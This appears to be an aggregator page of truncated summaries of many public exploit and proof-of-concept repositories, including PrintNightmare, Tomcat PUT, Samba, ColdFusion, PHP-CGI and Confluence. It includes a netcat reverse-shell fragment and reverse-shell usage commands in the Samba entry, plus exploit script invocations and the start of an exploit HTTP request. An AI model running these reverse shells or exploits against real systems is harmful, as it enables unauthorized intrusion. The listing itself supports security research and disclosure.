DVWA-ZAP-PENTEST

使用 OWASP ZAP 对 DVWA 进行漏洞评估 一次针对 DVWA（Damn Vulnerable Web App） 的实战型 Web 应用安全评估，使用 OWASP ZAP（Zed Attack Proxy）2.17.0 执行。本项目记录了完整的工作流程：侦察（爬取）、自动化漏洞扫描，以及对所产生告警的分析——包括一项 远程代码执行（CVE-2012-1823） 漏洞发现。 ⚠️ 免责声明： 本次评估是在隔离的实验环境中针对 DVWA 进行的，DVWA 是一个特意构建为易受攻击、用于培训目的的应用程序。切勿扫描或攻击您不拥有、或未经明确书面许可测试的系统。 目录 目标 使用的工具...

CVE-2026-14669

CVE-2026-14669 - PostgreSQL tochar Timezone Abbreviation Heap Buffer Overflow PostgreSQL tochar 函数在处理时区格式化时存在堆缓冲区溢出漏洞。攻击者通过设置超长 POSIX 时区缩写，可触发 25 字节固定缓冲区的越界写入，配合信息泄漏与 ROP 链实现远程代码执行。 漏洞信息 CVE 编号 : CVE-2026-14669 CVSS 评分 : 8.8 高危 漏洞类型 : 堆缓冲区溢出 → 远程代码执行 影响组件 : PostgreSQL tochartimestamptz 函数 发现团队 :...

CVE-2021-1675-PrintNightmare-Analysis

漏洞研究：通过 Windows Print Spooler 实现本地权限提升与 RCE（PrintNightmare / CVE-2021-1675） 该仓库包含一份详细的技术报告（Write-up）以及对 Windows 打印后台处理程序（Print Spooler）服务中关键漏洞的利用概念验证分析，该漏洞允许低权限域用户以最高系统权限远程执行任意代码。 🛑 警告与免责声明： 本材料仅用于教育目的和合法的安全审计（渗透测试）。未经所有者事先书面同意，针对系统使用所述技术将受到法律追究。 📌 研究的现实意义与背景 PrintNightmare 系列漏洞对基于 Windows Server...

WSUSResponder

🧰 WSUSResponder バージョン: 1.0.1 作成者: RZA / IT Operations ライセンス:MIT 🎯 目的 WSUSResponder モジュールは、Windows Server Update Services WSUS に影響を与える重大なリモートコード実行（RCE）脆弱性 CVE-2025-59287 に迅速に対応するための PowerShell ツール群を提供します。 以下のことが可能です： 🔍 Active Directory 環境または対象サーバーのリストをスキャン 🧩 脆弱な WSUS サーバーを特定 🛡️ Microsoft が公開した...

CVE-2025-62593-PoC

CVE-2025-62593 — Ray リモートコード実行（認証なし） CVE-2025-62593 の概念実証（PoC）です。これは、Ray 分散AIコンピュートエンジンにおける認証なしリモートコード実行の脆弱性で、ブラウザベースのDNSリバインディング攻撃を介して悪用されます。CISA Known Exploited Vulnerabilities（KEV）カタログ に追加され、現在も活発に悪用されています。 根本原因は、Rayチームが /api/jobs や /api/jobagent/jobs などの重要なHTTPエンドポイントで認証を行わない...

CVE-2024-24919-Check-Point-Remote-Access-VPN

CVE-2024-24919-Check-Point-远程访问VPN CVE-2024-24919 是一个未经验证的任意文件读取漏洞，其严重程度不亚于完全未经验证的远程代码执行（RCE）。攻击者可以以 超级用户 权限读取受影响设备上的任何敏感文件。攻击者可以获取 ntds.dit 或 /etc/password 文件的内容，并利用它们登录系统；如果安全网关仅允许密码认证，攻击者还可以使用破解后的密码进行身份验证。 受影响的产品和版本 ：CloudGuard Network, Quantum Maestro, Quantum Scalable Chassis, Quantum Securi...

CVE-2024-4040-CrushFTP-server

CVE-2024-4040-CrushFTP-server CrushFTPは、プロプライエタリなマルチプロトコル・マルチプラットフォーム対応のファイル転送サーバーです。 CVE-2024-4040 - すべてのプラットフォームにおける10.7.1および11.1.0より前の全バージョンのCrushFTPに存在するサーバーサイドテンプレートインジェクションの脆弱性により、認証されていないリモート攻撃者がVFSサンドボックスの外部にあるファイルシステム上の任意のファイルを読み取り、認証をバイパスして管理者アクセスを取得し、サーバー上でリモートコード実行を行うことができます。...

CVE-2024-38856-ApacheOfBiz

CVE-2024-38856-ApacheOfBiz Apache OFBiz は、オープンソースのエンタープライズリソースプランニングシステムです。企業の多くのビジネスプロセスを統合および自動化する一連のエンタープライズアプリケーションを提供します。 CVE-2024-38856 は、Apache OFBiz における認証前の脆弱性であり、リモートコード実行につながる可能性があります。 影響を受けるバージョン : 18.12.15 より前のバージョン 使用例: python3 scanner.py https://localhost:8443/ python3 exploit.py...

CVE-2024-4879-ServiceNow

CVE-2024-4879-ServiceNow ServiceNow は、企業のデジタルワークフロー管理を支援し、業務変革を実現するプラットフォームです。 CVE-2024-4879 は、認証されていないユーザーがNow Platform上でリモートからコードを実行できる可能性がある脆弱性です。この脆弱性は、Title Injection、Template Injection Mitigation Bypass、Filesystem Filter Bypassの3つの問題を連鎖させることで悪用され、ServiceNowのデータにアクセスします。...

Tomcat_PUT_GUI_EXP

TomcatPUTEXPV1.4 Tomcat PUT方法任意文件写入（CVE-2017-12615）图形化漏洞利用工具 漏洞介绍 2017年9月19日，Apache Tomcat官方确认并修复了两个高危漏洞，漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞（CVE-2017-12615） 影响： Apache Tomcat 7.0.0 - 7.0.79（7.0.81修复不完全） 当 Tomcat 运行在 Windows 主机上，且启用了 HTTP PUT 请求方法（例如，将 readonly 初始化参数由默认值设置为...

CVE-2017-9791

CVE-2017-9791 Apache Struts CVE-2017-9791 リモートコード実行脆弱性用の Metasploit モジュール...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE このリポジトリには、Adobe ColdFusion 2018 の RCE 脆弱性に対するエクスプロイトコードが含まれています。 エクスプロイトの説明 このエクスプロイトは、JSP リバースシェルを含む POST リクエストを /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm に送信します。成功すると、シェルが...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 用法 root@kitploit: 利用目标 10.129.232.46 的 445 端口，向 10.10.14.82 的 443 端口发送反弹 shell python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 使用自定义远程端口和本地端口 python3 CVE-2007-2447.py --rhost 10.129.232.46 --rport 4445 --lhost 10.10.14.82...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE 项目简介与原理 全球首款利用PHP默认环境（XAMPP）的CVE-2024-4577 PHP-CGI RCE 漏洞 EXP。 The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WAF bypass. 实现PHP默认环境RCE。原理：cgi.forceredirect + REDIRECT-STATUS。...

SDT_CW3B1_rce

SDTCW3B1rce CVE-2021-46422 インストール root@kitploit: git clone https://github.com/xanszZZ/SDTCW3B1rce cd SDTCW3B1rce 使用方法 本ツールはpocsuite3フレームワークの開発仕様に基づいて作成されたpocです。 使用前にpocsuite3をダウンロードしてください。 プロジェクトアドレス root@kitploit: https://github.com/knownsec/pocsuite3 環境 root@kitploit: Python 3.7+ Works on Linux...

CVE-2021-42013-ApacheRCE

CVE-2021-42013-ApacheRCE...

CVE-2019-0193

CVE-2019-0193 リモートコード実行...

CVE-2019-13025

Connect Box CH7465LG（CVE-2019-13025） 情報 このリポジトリには、ファームウェア CH7465LG-NCIP-6.12.18.24-5p8-NOSH 以前を実行している Connect Box CH7465LG 向けの2つのPoCが含まれています。 詳細については、私のブログ をご覧ください。 使用方法 認証不要のリモートコード実行 $ python3 poc-rce.py 認証不要の情報漏えい $ python3 poc-information-dump.py クレジット xitan 2019...

CVE-2025-24813

説明 このリポジトリは、CVE-2025-24813 Tomcat 最新のRCE再現環境です。 学習研究目的のみに使用してください！ 利用条件 アプリケーションでDefaultServletの書き込み機能が有効になっていること（デフォルトでは無効） アプリケーションがpartial PUTリクエストをサポートしており、悪意のあるシリアライズデータをセッションファイルに書き込めること（デフォルトで有効） アプリケーションがTomcatのファイルセッション永続化を使用し、デフォルトのセッション保存場所を使用していること（追加設定が必要）...

CVE-2019-3396

CVE-2019-3396 Confluence Widget Connector のパストラバーサル CVE-2019-3396 RCE POC root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0 Content-Type:...